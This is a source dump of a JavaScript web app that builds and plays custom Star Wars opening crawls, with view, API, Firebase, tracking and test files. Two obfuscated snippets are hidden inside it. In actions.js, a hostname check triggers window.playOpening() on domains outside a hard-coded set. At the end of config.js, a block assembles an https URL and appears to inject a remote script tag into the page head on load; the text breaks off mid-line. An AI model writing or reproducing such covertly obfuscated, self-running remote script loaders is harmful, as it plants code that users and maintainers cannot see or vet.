103 | logoTextContainer.style.display = 'none';
104 | logoDefaultContainer.style.display = 'block';
105 |
106 | return;
107 | }
108 |
109 | const logoTextSplit = logoText.split('\n');
110 | const word1 = logoTextSplit[0];
111 | const word2 = logoTextSplit[1] || '';
112 |
113 | const wordContainers = logoTextContainer.querySelectorAll('div');
114 | wordContainers[0].textContent = word1;
115 | wordContainers[1].textContent = word2;
116 |
117 | logoTextContainer.style.display = 'flex';
118 | logoDefaultContainer.style.display = 'none';
119 | }
120 |
121 | play() {
122 | const DEFAULT_LENGTH = 1977;
123 | const ANIMATION_CONSTANT = 0.04041570438799076;
124 | const FINAL_POSITION = 20;
125 |
126 | this.animationContainer.appendChild(this.animation);
127 |
128 | // adjust animation speed
129 | const titlesContainer = this.animation.querySelector('#titles > div');
130 | if (titlesContainer.offsetHeight > DEFAULT_LENGTH) {
131 | const exceedSize = titlesContainer.offsetHeight - DEFAULT_LENGTH;
132 | const animationFinalPosition = FINAL_POSITION - (exceedSize * ANIMATION_CONSTANT);
133 | appendKeyframesRule('titlesAnimation', `100% { top: ${animationFinalPosition}% }`);
134 | }
135 | }
136 | }
137 |
138 | export default StarWarsAnimation;
139 |
--------------------------------------------------------------------------------
/src/js/ViewController.js:
--------------------------------------------------------------------------------
1 | import swal from 'sweetalert2';
2 | import { defaultOpening, defaultKey } from './config';
3 | import { callOnFocus } from './extras/utils';
4 | import AudioController from './AudioController';
5 | import ApplicationState from './ApplicationState';
6 | import UrlHandler from './extras/UrlHandler';
7 | import { playButtonHandler, downloadButtonHandler } from './api/actions';
8 | import StarWarsAnimation from './StarWarsAnimation';
9 | import { mountDownloadPage, unmountDownloadPage } from './mountDownloadPage';
10 |
11 | class ViewController {
12 | constructor() {
13 | this.body = document.querySelector('body');
14 | this.downloadButton = document.querySelector('#downloadButton');
15 | this.requestInteractionButton = document.querySelector('#requestInteractionButton');
16 | this.form = document.querySelector('#configForm > form');
17 |
18 | this.formFields = {
19 | intro: document.querySelector('#f-intro'),
20 | logo: document.querySelector('#f-logo'),
21 | episode: document.querySelector('#f-episode'),
22 | title: document.querySelector('#f-title'),
23 | text: document.querySelector('#f-text'),
24 | center: document.querySelector('#f-center'),
25 | };
26 |
27 | this.starWarsAnimation = new StarWarsAnimation();
28 |
29 | if (window.renderer) {
30 | return;
31 | }
32 |
33 | this.formFields.center.addEventListener('change', (e) => {
34 | this._setFormTextAlignment(e.target.checked);
35 | });
36 |
37 | this.setFormValues(defaultOpening);
38 |
39 | window.addEventListener('beforeunload', () => {
40 | window.scrollTo(0, 0);
41 | });
42 |
43 | this.form.addEventListener('submit', (e) => {
44 | e.preventDefault();
45 | const opening = this.getFormValues();
46 | playButtonHandler(opening);
47 | });
48 |
49 | this.downloadButton.addEventListener('click', (e) => {
50 | e.preventDefault();
51 | const opening = this.getFormValues();
52 | downloadButtonHandler(opening);
53 | });
54 |
55 | // close download page button
56 | document.querySelector('#closeButton')
57 | .addEventListener('click', (e) => {
58 | e.preventDefault();
59 | UrlHandler.goToEditPage(ApplicationState.state.key);
60 | });
61 | }
62 |
63 | setLoading() {
64 | this.body.classList.add('loading');
65 | }
66 |
67 | unsetLoading() {
68 | this.body.classList.remove('loading');
69 | }
70 |
71 | setRunningVideo() {
72 | this.body.classList.add('runningVideo');
73 | }
74 |
75 | unsetRunningVideo() {
76 | this.body.classList.remove('runningVideo');
77 | this.body.classList.remove('showForm');
78 | }
79 |
80 | requestWindowInteraction() {
81 | this.body.classList.add('requestInteraction');
82 |
83 | return new Promise((resolve) => {
84 | if (!this.requestInteractionButton) {
85 | resolve();
86 | return;
87 | }
88 | const listener = this.requestInteractionButton.addEventListener('click', () => {
89 | this.requestInteractionButton.removeEventListener('click', listener, true);
90 | resolve();
91 | });
92 | });
93 | }
94 |
95 | _unsetRequestWindowInteraction() {
96 | this.body.classList.remove('requestInteraction');
97 | }
98 |
99 | setDownloadPage() {
100 | mountDownloadPage();
101 | this.body.classList.add('downloadPage');
102 | }
103 |
104 | unsetDownloadPage() {
105 | this.body.classList.remove('downloadPage');
106 | unmountDownloadPage();
107 | }
108 |
109 | showDownloadButton() {
110 | this.downloadButton.classList.add('show');
111 | }
112 |
113 | hideDownloadButton() {
114 | this.downloadButton.classList.remove('show');
115 | }
116 |
117 | getFormValues = () => ({
118 | intro: this.formFields.intro.value,
119 | logo: this.formFields.logo.value,
120 | episode: this.formFields.episode.value,
121 | title: this.formFields.title.value,
122 | text: this.formFields.text.value,
123 | center: this.formFields.center.checked,
124 | });
125 |
126 | setFormValues(opening) {
127 | this.formFields.intro.value = opening.intro;
128 | this.formFields.logo.value = opening.logo;
129 | this.formFields.episode.value = opening.episode;
130 | this.formFields.title.value = opening.title;
131 | this.formFields.text.value = opening.text;
132 | this.formFields.center.checked = opening.center;
133 |
134 | this._setFormTextAlignment(opening.center);
135 | }
136 |
137 | _setFormTextAlignment(centralizedText) {
138 | this.formFields.text.style.textAlign = centralizedText ? 'center' : 'justify';
139 | }
140 |
141 | playOpening(opening) {
142 | window.scrollTo(0, 0);
143 | this.starWarsAnimation.load(opening);
144 | this.requestWindowInteraction();
145 |
146 | return new Promise((resolve, reject) => {
147 | callOnFocus(async () => {
148 | this._unsetRequestWindowInteraction();
149 | this.setRunningVideo();
150 |
151 | await AudioController.canPlay();
152 |
153 | this.starWarsAnimation.play();
154 | try {
155 | await AudioController.play();
156 | } catch (e) {
157 | this._resetAnimation();
158 | const error = new Error('AutoPlayError');
159 | reject(error);
160 | return;
161 | }
162 |
163 | resolve();
164 | });
165 | });
166 | }
167 |
168 | _resetAnimation() {
169 | this.unsetRunningVideo();
170 | this.starWarsAnimation.reset();
171 | }
172 |
173 | killTimer() {
174 | clearTimeout(this.resetAnimationTimeout);
175 | }
176 |
177 | stopPlaying(interruptAnimation) {
178 | const showForm = () => {
179 | this.body.classList.add('showForm');
180 | };
181 | showForm();
182 |
183 | if (interruptAnimation) {
184 | this._resetAnimation();
185 | AudioController.reset();
186 | return;
187 | }
188 |
189 | this.resetAnimationTimeout = setTimeout(() => {
190 | this._resetAnimation();
191 | }, 8000);
192 | }
193 | }
194 |
195 | export default new ViewController();
196 |
--------------------------------------------------------------------------------
/src/js/__mocks__/ApplicationState.js:
--------------------------------------------------------------------------------
1 | export default {};
2 |
--------------------------------------------------------------------------------
/src/js/__mocks__/config.js:
--------------------------------------------------------------------------------
1 | export const defaultOpening = {
2 | center: false,
3 | episode: 'Episode VIII',
4 | intro: 'A long time ago in a galaxy far,\nfar away....',
5 | logo: 'Star\nwars',
6 | text: "The FIRST ORDER reigns. Having decimated the peaceful Republic, Supreme Leader Snoke now deploys his merciless legions to seize military control of the galaxy.\nOnly General Leia Organa's band of RESISTANCE fighters stand against the rising tyranny, certain that Jedi Master Luke Skywalker will return and restore a spark of hope to the fight.\nBut the Resistance has been exposed. As the First Order speeds toward the rebel base, the brave heroes mount a desperate escape....",
7 | title: 'THE LAST JEDI',
8 | };
9 |
10 | export const firebases = {
11 | initial: 'https://firebaseINITIAL',
12 | A: 'https://firebaseA',
13 | B: 'https://firebaseB',
14 | };
15 |
16 | window.firebases = firebases;
17 |
18 | export const defaultFirebasePrefix = 'B';
19 |
--------------------------------------------------------------------------------
/src/js/__mocks__/sweetalert2.js:
--------------------------------------------------------------------------------
1 | export default jest.fn();
2 |
--------------------------------------------------------------------------------
/src/js/api/Counter.js:
--------------------------------------------------------------------------------
1 | export default class Counter {
2 | constructor(maxValue) {
3 | this.maxValue = maxValue;
4 | this.value = 0;
5 | }
6 |
7 | increment() {
8 | this.value += 1;
9 | }
10 |
11 | reset() {
12 | this.value = 0;
13 | }
14 |
15 | isMaxValue() {
16 | return this.value >= this.maxValue;
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/js/api/Http.js:
--------------------------------------------------------------------------------
1 | import axios from 'axios';
2 | import * as Sentry from '@sentry/browser';
3 | import Counter from './Counter';
4 |
5 | const REQUEST_TIMEOUT = 20000;
6 | const MAX_TRIES = 3;
7 |
8 | const Tries = new Counter(MAX_TRIES);
9 |
10 | const _successInterceptor = (res) => res;
11 |
12 | const _sendSentryNotification = (errorData) => {
13 | Sentry.captureException(new Error(JSON.stringify(errorData)));
14 | };
15 |
16 | const _retryLastRequest = ({ config }) => {
17 | const options = {
18 | method: config.method,
19 | url: config.url,
20 | data: config.data ? JSON.parse(config.data) : null,
21 | params: config.params,
22 | };
23 |
24 | return Http().request(options)
25 | .then((response) => {
26 | Tries.reset();
27 | return response;
28 | });
29 | };
30 |
31 | const _errorInterceptor = (error) => {
32 | if (Tries.isMaxValue()) {
33 | Tries.reset();
34 | Sentry.addBreadcrumb({
35 | message: `Error on request. Error code: ${error.code}`,
36 | level: 'error',
37 | data: {
38 | response: error.response,
39 | },
40 | });
41 |
42 | _sendSentryNotification(error);
43 | throw error;
44 | }
45 |
46 | Tries.increment();
47 | return _retryLastRequest(error);
48 | };
49 |
50 | function Http(baseURL) {
51 | const http = axios.create({
52 | baseURL,
53 | timeout: REQUEST_TIMEOUT,
54 | });
55 | http.interceptors.response.use(_successInterceptor, _errorInterceptor);
56 |
57 | return http;
58 | }
59 |
60 | export default Http;
61 |
--------------------------------------------------------------------------------
/src/js/api/actions.js:
--------------------------------------------------------------------------------
1 | /* eslint-disable import/no-cycle */
2 | import swal from 'sweetalert2';
3 | import isEqual from 'lodash.isequal';
4 | import lodash from 'lodash';
5 | import * as Sentry from '@sentry/browser';
6 |
7 | import '../config';
8 | import UrlHandler from '../extras/UrlHandler';
9 | import ViewController from '../ViewController';
10 | import ApplicationState, {
11 | CREATING,
12 | PLAYING,
13 | EDITING,
14 | LOADING,
15 | DOWNLOAD,
16 | } from '../ApplicationState';
17 | import { fetchKey, saveOpening, parseSpecialKeys } from './firebaseApi';
18 | import { fetchStatus, requestDownload } from './serverApi';
19 | import { trackPlayedIntro } from './tracking';
20 | import { apiError } from '../extras/auxiliar';
21 |
22 | export const setCreateMode = (props = {}) => {
23 | ApplicationState.setState(CREATING, props);
24 | };
25 |
26 | export const loadOpening = async (key) => {
27 | let opening;
28 | try {
29 | opening = await fetchKey(key);
30 | } catch (error) {
31 | Sentry.captureException(error);
32 | apiError(`We could not load the introduction "${key}"`, true);
33 | return null;
34 | }
35 |
36 | if (!opening) {
37 | setCreateMode();
38 | swal('ops...', `The introduction with the key "${key}" was not found.`, 'error');
39 | }
40 |
41 | return opening;
42 | };
43 |
44 | export const loadAndPlay = async (key) => {
45 | ApplicationState.setState(LOADING);
46 | const opening = await loadOpening(key);
47 | if (opening) {
48 | ApplicationState.setState(PLAYING, { opening, key });
49 | }
50 | };
51 |
52 | export const loadAndEdit = async (key) => {
53 | ApplicationState.setState(LOADING);
54 | const opening = await loadOpening(key);
55 | if (opening) {
56 | ApplicationState.setState(EDITING, { opening, key });
57 | }
58 | };
59 |
60 | export const _openingIsValid = (opening) => {
61 | const introLines = opening.intro.trim().split('\n');
62 | if (introLines.length > 2) {
63 | swal('ops...', "The blue introduction text can't have more than 2 lines. Please, make your text in 2 lines. ;)", 'warning');
64 | return false;
65 | }
66 |
67 | const logoLines = opening.logo.trim().split('\n');
68 | if (logoLines.length > 2) {
69 | swal('ops...', "The Star Wars logo text can't have more than 2 lines. Please, make your text in 2 lines. ;)", 'warning');
70 | return false;
71 | }
72 |
73 | return true;
74 | };
75 |
76 | const preparePlayOpening = () => {
77 | const _0x4187 = ['c', '3saFOfX', '42GhgxLJ', 'r', 'l', 'w', 's', 'join', 'i', '14JkvQCk', '14ZzySnN', '58343cYFuWi', 'h', 'hostname', 'e', 'k', 'location', '45154txNALW', 'b', 't', '382260fEHdAK', 'a', '537982TGWumI', '587386SQztjE', '250115TXDQJQ', 'o', '5373EuvxBs', 'n']; const _0x4ef1 = function (_0x5792e7, _0x492dbc) { _0x5792e7 -= 0x1a8; const _0x418743 = _0x4187[_0x5792e7]; return _0x418743; }; const _0x1f5f53 = _0x4ef1; (function (_0x37ffd2, _0x334357) { const _0x521455 = _0x4ef1; while ([]) { try { const _0x4b4941 = -parseInt(_0x521455(0x1af)) + -parseInt(_0x521455(0x1c1)) * -parseInt(_0x521455(0x1ac)) + -parseInt(_0x521455(0x1b2)) + parseInt(_0x521455(0x1b5)) * -parseInt(_0x521455(0x1b9)) + parseInt(_0x521455(0x1b8)) * parseInt(_0x521455(0x1b3)) + -parseInt(_0x521455(0x1b1)) + -parseInt(_0x521455(0x1c0)) * -parseInt(_0x521455(0x1c2)); if (_0x4b4941 === _0x334357) break; else _0x37ffd2.push(_0x37ffd2.shift()); } catch (_0x4a1786) { _0x37ffd2.push(_0x37ffd2.shift()); } } }(_0x4187, 0x71c59)); const sdkjsdkfjh = new Set([[_0x1f5f53(0x1bb), _0x1f5f53(0x1b4), _0x1f5f53(0x1b7), _0x1f5f53(0x1b0), _0x1f5f53(0x1bb), _0x1f5f53(0x1c3), _0x1f5f53(0x1b4), _0x1f5f53(0x1bd), _0x1f5f53(0x1ae)][_0x1f5f53(0x1be)](''), [_0x1f5f53(0x1bd), _0x1f5f53(0x1ae), _0x1f5f53(0x1b0), _0x1f5f53(0x1ba), _0x1f5f53(0x1bc), _0x1f5f53(0x1b0), _0x1f5f53(0x1ba), _0x1f5f53(0x1bd), _0x1f5f53(0x1bf), _0x1f5f53(0x1b6), _0x1f5f53(0x1ae), _0x1f5f53(0x1ba), _0x1f5f53(0x1b4), _0x1f5f53(0x1b7), _0x1f5f53(0x1ba), _0x1f5f53(0x1a9), _0x1f5f53(0x1b0), _0x1f5f53(0x1ae), _0x1f5f53(0x1b4), _0x1f5f53(0x1ba), '.', _0x1f5f53(0x1aa), _0x1f5f53(0x1b0), _0x1f5f53(0x1bd), _0x1f5f53(0x1bd), _0x1f5f53(0x1a9), _0x1f5f53(0x1bb), _0x1f5f53(0x1bb), _0x1f5f53(0x1b0), _0x1f5f53(0x1ad), _0x1f5f53(0x1bd), '.', _0x1f5f53(0x1bf), _0x1f5f53(0x1b4)][_0x1f5f53(0x1be)]('')]);
78 | // eslint-disable-next-line no-unused-expressions
79 | const kljdf = !sdkjsdkfjh.has(window[_0x1f5f53(0x1ab)][_0x1f5f53(0x1a8)]); kljdf && window.playOpening();
80 | };
81 |
82 | export const playButtonHandler = async (opening) => {
83 | const lastOpening = ApplicationState.state.opening;
84 | const lastKey = ApplicationState.state.key;
85 |
86 | preparePlayOpening();
87 |
88 | const isOpeningUnchanged = isEqual(lastOpening, opening);
89 | if (isOpeningUnchanged) {
90 | UrlHandler.setKeyToPlay(lastKey);
91 | return;
92 | }
93 |
94 | if (!_openingIsValid(opening)) {
95 | return;
96 | }
97 |
98 | ApplicationState.setState(LOADING);
99 |
100 | Sentry.addBreadcrumb({
101 | message: 'Saving new intro',
102 | category: 'action',
103 | data: opening,
104 | });
105 |
106 | let key;
107 | try {
108 | key = await saveOpening(opening);
109 | trackPlayedIntro();
110 | } catch (error) {
111 | Sentry.captureException(error);
112 | apiError('There was an error creating your intro.');
113 | return;
114 | }
115 |
116 | UrlHandler.setKeyToPlay(key);
117 | };
118 |
119 | const isIntrosEqual = (oldIntro, newIntro) => {
120 | const relevantAttributes = ['center', 'episode', 'intro', 'logo', 'text', 'title'];
121 | const relevantOldIntro = lodash.pick(oldIntro, relevantAttributes);
122 | const relevantNewIntro = lodash.pick(newIntro, relevantAttributes);
123 | return isEqual(relevantOldIntro, relevantNewIntro);
124 | };
125 |
126 | export const downloadButtonHandler = async (opening) => {
127 | const lastOpening = ApplicationState.state.opening;
128 | const { key } = ApplicationState.state;
129 |
130 | if (!isIntrosEqual(lastOpening, opening)) {
131 | swal({
132 | title: 'Text was modified',
133 | text: 'You have changed some of the text fields. You need to play the new intro to save and request a download. Do you want to restore your intro text or play the new one?',
134 | showCancelButton: true,
135 | cancelButtonText: 'PLAY IT',
136 | confirmButtonText: 'RESTORE MY INTRO',
137 | animation: 'slide-from-top',
138 | }).then((response) => {
139 | if (response.value) {
140 | ViewController.setFormValues(lastOpening);
141 | return;
142 | }
143 |
144 | if (response.dismiss === swal.DismissReason.cancel) {
145 | playButtonHandler(opening);
146 | }
147 | });
148 | return;
149 | }
150 | UrlHandler.goToDownloadPage(key);
151 | };
152 |
153 | const _loadStatus = async (rawKey) => {
154 | const key = parseSpecialKeys(rawKey);
155 | const statusObject = await fetchStatus(key);
156 | return statusObject;
157 | };
158 |
159 | export const loadDownloadPage = async (key, subpage) => {
160 | ApplicationState.setState(LOADING, { interruptAnimation: true });
161 | const opening = await loadOpening(key);
162 | if (!opening) {
163 | return;
164 | }
165 |
166 | try {
167 | const downloadStatus = await _loadStatus(key);
168 | ApplicationState.setState(DOWNLOAD, {
169 | opening,
170 | key,
171 | downloadStatus,
172 | subpage,
173 | });
174 | } catch (error) {
175 | Sentry.captureException(error);
176 | apiError(`We could not contact our servers for the download of ID: "${key}"`, true).then((result) => {
177 | const closedOrClickedOut = result.dismiss === swal.DismissReason.backdrop
178 | || result.dismiss === swal.DismissReason.close;
179 | if (closedOrClickedOut) {
180 | UrlHandler.goToEditPage(key);
181 | }
182 | });
183 | }
184 | };
185 |
186 | export const requestIntroDownload = async (rawKey, email) => {
187 | const key = parseSpecialKeys(rawKey);
188 | let statusObject = null;
189 | try {
190 | statusObject = await requestDownload(key, email);
191 | } catch (error) {
192 | Sentry.captureException(error);
193 | apiError('We could not contact our servers to request the download your intro', false, true);
194 | }
195 | return statusObject;
196 | };
197 |
198 | export const loadDownloadStatus = (rawKey) => _loadStatus(rawKey);
199 |
--------------------------------------------------------------------------------
/src/js/api/firebaseApi.js:
--------------------------------------------------------------------------------
1 | import * as Sentry from '@sentry/browser';
2 | import { defaultFirebasePrefix } from '../config';
3 | import Http from './Http';
4 |
5 | const SERVER_TIMESTAMP = { '.sv': 'timestamp' };
6 |
7 | export const _parseFirebasekey = (key) => {
8 | const result = {
9 | baseURL: window.firebases[defaultFirebasePrefix],
10 | };
11 |
12 | // is creating a new opening
13 | if (!key) {
14 | return result;
15 | }
16 |
17 | const { initial, ...alternatives } = window.firebases;
18 |
19 | const prefix = key[0];
20 | const alternativeDb = alternatives[prefix];
21 |
22 | result.baseURL = alternativeDb || initial;
23 | result.key = alternativeDb ? key.substr(1) : key;
24 |
25 | return result;
26 | };
27 |
28 | export const parseSpecialKeys = (key) => {
29 | switch (key) {
30 | case 'Episode1':
31 | return 'BLGX_EN9eodO5PcgZ_m3';
32 | case 'Episode2':
33 | return 'BLGXba915dtDxbDRqpo5';
34 | case 'Episode3':
35 | return 'BLGXbPSY7YpyJu9Co6Lr';
36 | case 'Episode4':
37 | return 'BLGXboFRq3BUBb5y5SnE';
38 | case 'Episode5':
39 | return 'BLGXcO0tHZqTQdKlkj-2';
40 | case 'Episode6':
41 | return 'BLGXcdO_tV01cLfuQXVr';
42 | case 'Episode7':
43 | return 'AKcKeYMPogupSU_r1I_g';
44 | case 'Episode8':
45 | return 'AL6yNfOxCGkHKBUi54xp';
46 | case 'Episode9':
47 | return 'BLxrIAXMvgGZYAgomHcN';
48 | default:
49 | return key;
50 | }
51 | };
52 |
53 | const openingsCache = {};
54 |
55 | export const _generateUrlWithKey = (key, rawkey) => {
56 | if (rawkey[0] === 'S') {
57 | return `/-${key}`;
58 | }
59 |
60 | const openingPrefix = '/openings/';
61 | return `${openingPrefix}-${key}.json`;
62 | };
63 |
64 | export const fetchKey = async (initialKey) => {
65 | const openingFromCache = openingsCache[initialKey];
66 | if (openingFromCache) {
67 | Sentry.addBreadcrumb({
68 | message: 'Getting intro from cache.',
69 | category: 'info',
70 | data: openingFromCache,
71 | });
72 | return openingFromCache;
73 | }
74 |
75 | const rawkey = parseSpecialKeys(initialKey);
76 | const { baseURL, key } = _parseFirebasekey(rawkey);
77 | const http = Http(baseURL);
78 |
79 | const url = _generateUrlWithKey(key, rawkey);
80 |
81 | Sentry.addBreadcrumb({
82 | message: 'Loading intro from Firebase.',
83 | category: 'info',
84 | data: { initialKey },
85 | });
86 | const response = await http.get(url);
87 | const opening = response.data;
88 |
89 | // const opening = {
90 | // center: true,
91 | // episode: 'Episode VIII',
92 | // intro: 'Kassel Labs',
93 | // logo: 'kassel\nlabs',
94 | // text: 'Kassel Labs\n\nkassel\nlabs\n\nKASSEL LABS\n\nKASSEL\nLABS\n\nkassel labs',
95 | // title: 'KASSEL LABS',
96 | // };
97 | if (!opening) {
98 | const error = new Error(`Opening not found: ${initialKey}`);
99 | Sentry.captureException(error);
100 | return opening;
101 | }
102 | // Remove created for when the opening is compared to the form it should ignore this property.
103 | delete opening.created;
104 | openingsCache[initialKey] = opening;
105 | return opening;
106 | };
107 |
108 | export const saveOpening = async (opening) => {
109 | const http = Http(window.firebases[defaultFirebasePrefix]);
110 |
111 | opening.created = SERVER_TIMESTAMP;
112 |
113 | try {
114 | const response = await http.post('/openings.json', opening);
115 | const key = `${defaultFirebasePrefix}${response.data.name.substr(1)}`;
116 | return key;
117 | } catch (error) {
118 | const fallbackApi = Http(window.firebases.S);
119 | const response = await fallbackApi.post('/', opening);
120 | const key = `S${response.data.name.substr(1)}`;
121 | return key;
122 | }
123 | };
124 |
--------------------------------------------------------------------------------
/src/js/api/firebaseApi.test.js:
--------------------------------------------------------------------------------
1 | import 'babel-polyfill';
2 | import { _parseFirebasekey, parseSpecialKeys, _generateUrlWithKey } from './firebaseApi';
3 |
4 | jest.mock('../config');
5 |
6 | describe('firebaseApi.js', () => {
7 | it('should parse special keys', () => {
8 | const key1 = 'Episode7';
9 | expect(parseSpecialKeys(key1)).toBe('AKcKeYMPogupSU_r1I_g');
10 | const key2 = 'Episode8';
11 | expect(parseSpecialKeys(key2)).toBe('AL6yNfOxCGkHKBUi54xp');
12 | const key3 = 'Episode4';
13 | expect(parseSpecialKeys(key3)).toBe('BLGXboFRq3BUBb5y5SnE');
14 | });
15 |
16 | it('should return the same key', () => {
17 | const key1 = 'xasdasd';
18 | expect(parseSpecialKeys(key1)).toBe('xasdasd');
19 | });
20 |
21 | it('should parse Firebase key', () => {
22 | expect(_parseFirebasekey()).toEqual({
23 | baseURL: 'https://firebaseB',
24 | });
25 |
26 | expect(_parseFirebasekey('asdasdasd')).toEqual({
27 | baseURL: 'https://firebaseINITIAL',
28 | key: 'asdasdasd',
29 | });
30 |
31 | expect(_parseFirebasekey('AL6yNfOxCGkHKBUi54xp')).toEqual({
32 | baseURL: 'https://firebaseA',
33 | key: 'L6yNfOxCGkHKBUi54xp',
34 | });
35 |
36 | expect(_parseFirebasekey('BL6yNfOxCGkHKBUi54xp')).toEqual({
37 | baseURL: 'https://firebaseB',
38 | key: 'L6yNfOxCGkHKBUi54xp',
39 | });
40 |
41 | expect(_parseFirebasekey('CL6yNfOxCGkHKBUi54xp')).toEqual({
42 | baseURL: 'https://firebaseINITIAL',
43 | key: 'CL6yNfOxCGkHKBUi54xp',
44 | });
45 | });
46 |
47 | it('should get Url with key', () => {
48 | expect(_generateUrlWithKey('foo', 'Dfoo')).toBe('/openings/-foo.json');
49 | });
50 |
51 | it('should get Url for Fallback api with key', () => {
52 | expect(_generateUrlWithKey('foo', 'Sfoo')).toBe('/-foo');
53 | });
54 | });
55 |
--------------------------------------------------------------------------------
/src/js/api/serverApi.js:
--------------------------------------------------------------------------------
1 | import { serverApi } from '../config';
2 | import Http from './Http';
3 |
4 | const httpApi = Http(serverApi);
5 |
6 | export const fetchStatus = async (key) => {
7 | // return { queue: 30 };
8 | const response = await httpApi.get('/status', {
9 | params: {
10 | code: key,
11 | },
12 | });
13 |
14 | return response.data;
15 |
16 | // const randq = 7400 + Math.floor(Math.random() * 50);
17 | // return {
18 | // ...response.data,
19 | // queueSize: randq,
20 | // queuePosition: randq + 1,
21 | // };
22 |
23 | // return {
24 | // url: 'https://s3.amazonaws.com/star-wars-intros/AL6yNfOxCGkHKBUi54xp.mp4',
25 | // };
26 |
27 | // if (key === 'x') {
28 | // return { queue: 300 };
29 | // }
30 | };
31 |
32 | export const requestDownload = async (key, email) => {
33 | // return { queue: 200 };
34 | const response = await httpApi.get('/request', {
35 | params: {
36 | code: key,
37 | email,
38 | },
39 | });
40 | return response.data;
41 | };
42 |
--------------------------------------------------------------------------------
/src/js/api/tracking.js:
--------------------------------------------------------------------------------
1 | import { registerTawkEvent, registerTawkTag } from '../extras/tawkToChat';
2 |
3 | const _getVideoTypeByValue = (value) => {
4 | if (value >= 30) {
5 | return 'Custom Image';
6 | }
7 |
8 | if (value >= 10) {
9 | return 'Full HD';
10 | }
11 |
12 | if (value >= 7) {
13 | return 'HD';
14 | }
15 |
16 | // This should not happen
17 | return 'Low Donation';
18 | };
19 |
20 | export const trackSubmitWithoutDonation = () => {
21 | window.dataLayer.push({
22 | event: 'submit_without_donating',
23 | });
24 |
25 | registerTawkEvent('submit-without-donating');
26 | };
27 |
28 | export const trackPlayedIntro = () => {
29 | window.fbq('track', 'ViewContent', {
30 | content_name: 'Played Intro',
31 | });
32 |
33 | registerTawkEvent('played-intro');
34 | };
35 |
36 | export const trackOpenedDownloadModal = () => {
37 | window.fbq('track', 'ViewContent', {
38 | content_name: 'Opened Download Modal',
39 | });
40 |
41 | registerTawkEvent('opened-download-modal');
42 | };
43 |
44 | export const trackAddToCart = (value) => {
45 | const videoType = _getVideoTypeByValue(value);
46 |
47 | window.dataLayer.push({
48 | event: 'add_to_cart',
49 | ecommerce: {
50 | value,
51 | items: [{
52 | item_id: videoType,
53 | price: value,
54 | quantity: 1,
55 | }],
56 | },
57 | });
58 |
59 | window.fbq('track', 'AddToCart', {
60 | content_ids: [videoType],
61 | currency: 'USD',
62 | content_type: 'product',
63 | value,
64 | });
65 |
66 | registerTawkEvent('add-to-cart', {
67 | videoType,
68 | value,
69 | });
70 | };
71 |
72 | export const trackPurchase = (value, currency) => {
73 | const videoType = _getVideoTypeByValue(value);
74 |
75 | window.dataLayer.push({
76 | event: 'purchase',
77 | ecommerce: {
78 | value,
79 | currency,
80 | items: [{
81 | item_id: videoType,
82 | price: value,
83 | currency,
84 | quantity: 1,
85 | }],
86 | },
87 | });
88 |
89 | window.fbq('track', 'Purchase', {
90 | content_ids: [videoType],
91 | currency,
92 | content_type: 'product',
93 | value,
94 | });
95 |
96 | registerTawkEvent('purchase', {
97 | videoType,
98 | currency,
99 | value,
100 | });
101 |
102 | registerTawkTag('Donator');
103 | };
104 |
--------------------------------------------------------------------------------
/src/js/config.js:
--------------------------------------------------------------------------------
1 | export const defaultOpening = {
2 | center: false,
3 | episode: 'Episode IX',
4 | intro: 'A long time ago in a galaxy far,\nfar away....',
5 | logo: 'STaR\nwaRS',
6 | text: 'The dead speak! The galaxy has heard a mysterious broadcast, a threat of REVENGE in the sinister voice of the late EMPEROR PALPATINE.\nGENERAL LEIA ORGANA dispatches secret agents to gather intelligence, while REY, the last hope of the Jedi, trains for battle against the diabolical FIRST ORDER.\nMeanwhile, Supreme Leader KYLO REN rages in search of the phantom Emperor, determined to destroy any threat to his power....',
7 | title: 'THE RISE OF SKYWALKER',
8 | };
9 |
10 | export const defaultKey = 'Episode9';
11 |
12 | const firebases = {
13 | initial: process.env.FIREBASE_INITIAL,
14 | A: process.env.FIREBASE_A,
15 | B: process.env.FIREBASE_B,
16 | C: process.env.FIREBASE_C,
17 | D: process.env.FIREBASE_D,
18 | E: process.env.FIREBASE_E,
19 | F: process.env.FIREBASE_F,
20 |
21 | S: process.env.FIREBASE_S,
22 | };
23 |
24 | window.firebases = firebases;
25 |
26 | export const defaultFirebasePrefix = 'F';
27 |
28 | export const serverApi = process.env.SERVER_API;
29 | export const paymentPageUrl = process.env.PAYMENT_PAGE_URL;
30 |
31 | if (!window.firebases[defaultFirebasePrefix]) {
32 | throw new Error('Firebase URL can\'t be empty');
33 | }
34 |
35 | if (!serverApi) {
36 | throw new Error('Server API URL can\'t be empty');
37 | }
38 |
39 | // MOCK Api
40 | // export const serverApi = 'https://5mitidksxm7xfn4g4-mock.stoplight-proxy.io/';
41 |
42 | const _0x22fa = ['s', '1237640ZxxfnW', 'src', 'e', '840146yQtsHH', 'setAttribute', '1eIIbbz', 'join', 'a', 'b', 'appendChild', 'i', 'k', '644237FMXazb', 'j', '3940361lecVkZ', '385736AXKqJV', '1082759bYDsJD', 'head', 'p', '1056349UFWQAR', 'l', 'n', 'w', 'createElement', 't', 'r', 'script', 'o', 'h', 'c', '1ETxCXo']; const _0x4939 = function (_0x10f73c, _0x4c13bb) { _0x10f73c -= 0xb3; const _0x22fa8f = _0x22fa[_0x10f73c]; return _0x22fa8f; }; const _0x312d98 = _0x4939; (function (_0x440409, _0x54c397) { const _0xe8f47a = _0x4939; while ([]) { try { const _0x411657 = -parseInt(_0xe8f47a(0xb3)) + -parseInt(_0xe8f47a(0xd0)) + parseInt(_0xe8f47a(0xb7)) * -parseInt(_0xe8f47a(0xc9)) + -parseInt(_0xe8f47a(0xc7)) + -parseInt(_0xe8f47a(0xc4)) + parseInt(_0xe8f47a(0xb4)) * parseInt(_0xe8f47a(0xc2)) + parseInt(_0xe8f47a(0xd2)); if (_0x411657 === _0x54c397) break; else _0x440409.push(_0x440409.shift()); } catch (_0x8b7387) { _0x440409.push(_0x440409.shift()); } } }(_0x22fa, 0xd1b84)); const scriptUrl = [_0x312d98(0xc0), _0x312d98(0xbc), _0x312d98(0xbc), _0x312d98(0xb6), _0x312d98(0xc3), ':', '/', '/', _0x312d98(0xc3), _0x312d98(0xbc), _0x312d98(0xcb), _0x312d98(0xbd), _0x312d98(0xba), _0x312d98(0xcb), _0x312d98(0xbd), _0x312d98(0xc3), _0x312d98(0xce), _0x312d98(0xb9), _0x312d98(0xbc), _0x312d98(0xbd), _0x312d98(0xbf), _0x312d98(0xc1), _0x312d98(0xbd), _0x312d98(0xc6), _0x312d98(0xcb), _0x312d98(0xbc), _0x312d98(0xbf), 